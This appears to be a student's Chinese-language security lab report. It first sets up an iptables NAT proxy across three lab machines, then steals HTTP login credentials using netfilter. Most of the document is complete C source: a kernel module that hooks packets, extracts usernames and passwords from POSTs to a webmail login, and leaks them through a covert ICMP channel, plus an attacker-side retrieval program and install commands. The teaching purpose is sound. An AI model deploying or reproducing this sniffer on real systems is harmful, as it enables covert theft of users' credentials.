信息安全實驗二
實驗2: iptables 和 netfilter |
---|
1. 使用iptables命令實現代理。需要3台機器(2台虛擬機+主機)進行演示。 |
2. 基於netfilter,實現對使用HTTP協議的網站的用戶名和密碼的竊取。 |
iptables命令實現代理
正向代理
正向代理類似一個跳板機,代理訪問外部資源。
客戶端必須設置正向代理服務器,當然前提是要知道正向代理服務器的IP地址,還有代理程序的端口。
如果用戶訪問不了某網站,但是能訪問一個代理服務器,這個代理服務器能訪問該網站,就可以先連上代理服務器,告訴他需要那個無法訪問網站的內容,代理服務器去取回來,然后返回給用戶。從網站的角度,只在代理服務器在內容的時候有一次記錄,但可能並不知道是用戶的請求,也隱藏了用戶的信息,這取決於代理告不告訴網站。
反向代理
反向代理實際運行方式是指以代理服務器來接受Internet上的連接請求,然后將請求轉發給內部網絡上的服務器,並將從服務器上得到的結果返回給Internet上請求連接的客戶端,此時代理服務器對外就表現為一個服務器。
正向代理與反向代理區別
-
正向代理 是一個位於客戶端和原始服務器之間的服務器,為了從原始服務器取得內容,客戶端向代理發送一個請求並指定目標(原始服務器),然后代理向原始服務器轉交請求並將獲得的內容返回給客戶端。客戶端必須要進行一些特別的設置才能使用正向代理。
正向代理的用途:
- 訪問原來無法訪問的資源,比如Google
- 用做緩存,加速訪問資源
- 對客戶端訪問授權,上網進行認證
- 代理可以記錄用戶訪問記錄(上網行為管理),對外隱藏用戶信息
-
反向代理 客戶端是無感知代理的存在的,反向代理對外都是透明的,訪問者並不知道自己訪問的是一個代理,因為客戶端不需要任何配置就可以訪問。
反向代理的用途:
-
保證內網的安全,可以使用反向代理提供WAF功能,阻止web攻擊。大型網站通常將反向代理作為公網訪問地址,Web服務器是內網。
-
負載均衡,通過反向代理服務器來優化網站的負載。
-
使用iptables命令實現代理
實驗需要同一網絡下的三台主機:
IP | 角色 |
---|---|
192.168.107.130 | 用戶 |
192.168.107.131 | 網頁 |
192.168.107.132 | 代理 |
首先在代理機上開啟轉發數據包的能力:
cd /proc/sys/net/ipv4
su //如果root用戶無法登錄,需要先修改密碼
echo 1 > ip_forward
之后查看當前代理機的初始狀態:
sudo iptables -L -t nat
對nat表進行配置:
sudo iptables -t nat -A PREROUTING -d 192.168.107.132 -p tcp --dport 80 -j DNAT --to-destination 192.168.107.131:80
sudo iptables -t nat -A POSTROUTING -p tcp -s 192.168.107.130 -j SNAT --to 192.168.107.132
再次查看代理機的狀態:
三台機器的狀態
192.168.107.132作為代理,本身並沒有相應服務提供給用戶:
192.168.107.131發布網頁,把相應服務提供給用戶:
192.168.107.131作為用戶機訪問代理機。
演示效果
在用戶機上訪問代理,得到代理后返回的192.168.107.131主機的網頁:
netfilter竊取用戶名和密碼
Netfilter子系統
Netfilter在五個點攔截報文,每個攔截點對應iptable的一個chain
- PREROUTING: 在報文路由前進行對報文的攔截
- INPUT:對到本機的報文進行攔截
- FORWARD:對需要本機進行三層轉發的報文進行攔截
- OUTPUT:對本機生成的報文進行攔截
- POSTROUTIN:路由后對報文進行攔截
Netfilter中報文有三條處理流程:
發往本機的報文:
經過本機三層轉發的報文
本機產生往外發送的報文
實驗過程
首先通過網頁登錄,利用wireshark抓取網頁提交的表單信息:
在被攻擊者主機上安裝sniff內核模塊:
make // 編譯snif.c
lsmod // 查看當前模塊
sudo insmod sniff.ko // 安裝sniff模塊
dmesg // 查看記錄
sudo rmmod sniff // 卸載內核模塊
被攻擊的主機再次訪問網頁會被抓取數據:
在攻擊者主機上通過getpwd程序,可以獲取到被攻擊機器的用戶名與密碼:
gcc -o getpwd getpwd.c // 編譯
sudo ./getpwd 192.168.107.132 // 192.168.107.132是被安裝了sniff模塊的被攻擊主機
實驗代碼
sniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x77 // ICMP CODE
#define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B)
#define SUCCESS 1
#define FAILURE -1
static const char *post_uri = "POST /coremail/index.jsp?cus=1";
static const int post_uri_len = 30;
static const unsigned int target_ip = 138421962;
static char *username = NULL;
static char *password = NULL;
static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;
static unsigned int findpkt_iwant(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL;
int tcp_payload_len = 0;
ip = (struct iphdr *)skb_network_header(skb);
if (ip->daddr != 138421962 || ip->protocol != IPPROTO_TCP)
return FAILURE;
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
data = (char *)((char *)tcp + (tcp->doff<<2));
if (tcp->dest != htons(80)
|| tcp_payload_len < post_uri_len
|| strncmp(data, post_uri, post_uri_len) != 0) {
return FAILURE;
}
return SUCCESS;
}
char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
int index = 0, i = 0;
char *value = NULL;
if ((index = strstr(urlparam, key)) == -1)
return NULL;
urlparam += (index + klen);
ulen -= (index + klen);
for (i = 0; i < ulen && urlparam[i] != '&'; i++);
if (i >= ulen)
return NULL;
// i + 1, for the last char '\0'
if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
return NULL;
memcpy(value, urlparam, i);
value[i] = '\0';
return value;
}
static void fetch_http(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
int tcp_payload_len = 0;
int i = 0, index = -1;
int content_len = 0; // Cotent-Length
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
data = (char *)tcp + (tcp->doff<<2);
index = strstr(data, "Content-Length: ");
if (index == -1)
return;
data += (index + 16);
for (i = 0; data[i] != '\r'; i++)
content_len = content_len*10 + ((int)data[i]-'0');
data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
// 提取用戶名
username = fetch_urlparam(data, content_len, "uid=", 4);
// 提取密碼
password = fetch_urlparam(data, content_len, "password=", 9);
if (username == NULL || password == NULL)
return;
printk("username: %s\n", username);
printk("password: %s\n", password);
}
static int hasPair(void) {
return username != NULL && password != NULL;
}
static unsigned int watch_out(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
if (findpkt_iwant(skb) == FAILURE)
return NF_ACCEPT;
if (!hasPair())
fetch_http(skb);
return NF_ACCEPT;
}
static unsigned int watch_in(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0;
char *cp_data = NULL; // copy pointer
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
ip = (struct iphdr *)skb_network_header(skb);
if (!hasPair() || ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
// 最后8字節為 ICMP首部長度
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
if (icmp->code != MAGIC_CODE
|| icmp->type != ICMP_ECHO
|| icmp_payload_len < REPLY_SIZE) {
return NF_ACCEPT;
}
// 交換源目的IP用於回發數據
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
skb->pkt_type = PACKET_OUTGOING;
switch (skb->dev->type) {
case ARPHRD_PPP: break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER: {
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
// Move the data pointer to point to the link layer header
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char*)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
break;
}
}
// copy target_ip, username, password into packet
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4);
memcpy(cp_data+4, username, 16);
memcpy(cp_data+20, password, 16);
printk("username: %s\n", username);
printk("password: %s\n", password);
dev_queue_xmit(skb); // 發送數據幀
kfree(username);
kfree(password);
username = password = NULL;
return NF_STOLEN;
}
int init_module(void) {
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
pre_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING;
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &post_hook);
printk("init_module\n");
return 0;
}
void cleanup_module(void) {
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("cleanup_module\n");
}
getpwd.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>
#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x77
struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];
int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);
int main(int argc, char **argv) {
if (load_args(argc, argv) < 0) {
printf("command format error!\n");
print_cmdprompt();
return FAILURE;
}
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0) {
perror("socket creation error");
return FAILURE;
}
printf("running...\n");
// 發送ICMP ECHO 回送請求報文
send_icmp_request();
// 接收ICMP ECHO 回送回答報文
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
int load_args(const int argc, char *argv[]) {
if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
return FAILURE;
return SUCCESS;
}
void print_cmdprompt() {
printf("\ngetpass [remoteip]\n\n");
printf("\t [remoteip] Victim host IP address, eg: 192.168.107.132\n");
}
int send_icmp_request() {
bzero(sendbuff, BUFF_SIZE);
// 構造ICMP ECHO首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE;
icmp->icmp_cksum = 0;
// 計算ICMP校驗和,涉及首部和數據部分,包括:8B(ICMP ECHO首部) + // 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........\n");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0) {
perror("send error");
} else {
printf("send a icmp echo request packet!\n\n");
}
return SUCCESS;
}
int recv_icmp_reply() {
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......\n");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
printf("failed getting reply packet\n");
return FAILURE;
}
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
memcpy(&server_addr, (char *)icmp+8, 4);
// 打印IP包字節數據,便於調試
print_ippacket_inbyte(recvbuff);
printf("stolen from http server: %s\n", inet_ntoa(server_addr));
printf("username: %s\n", (char *)((char *)icmp + 12));
printf("password: %s\n", (char *)((char *)icmp + 28));
return SUCCESS;
}
unsigned short cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
// len -= 2,sizeof(unsigned short) = 2;
// sum += *(addr++),每次偏移2Byte
for (; len > 1; sum += *(addr++), len -= 2);
// 每次處理2Byte,可能會存在多余的1Byte
sum += len == 1 ? *addr : 0;
// sum:高16位 + 低16位,高16位中存在可能的進位
sum = (sum >> 16) + (sum & 0xffff);
// sum + sum的高16位,高16位中存在可能的進位
sum += (sum >> 16);
// 經過2次對高16位中可能存在的進位進行處理,即可確保sum高16位中再無進位
res = ~sum;
return res;
}
void print_ippacket_inbyte(unsigned char *ipbuff) {
struct ip *ip = (struct ip *)ipbuff;
printf(" %02x %02x", ipbuff[0], ipbuff[1]);
for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
if (i % 16 == 0)
printf("\n");
if (i % 8 == 0)
printf(" ");
printf("%02x ", ipbuff[i+2]);
}
printf("\n");
}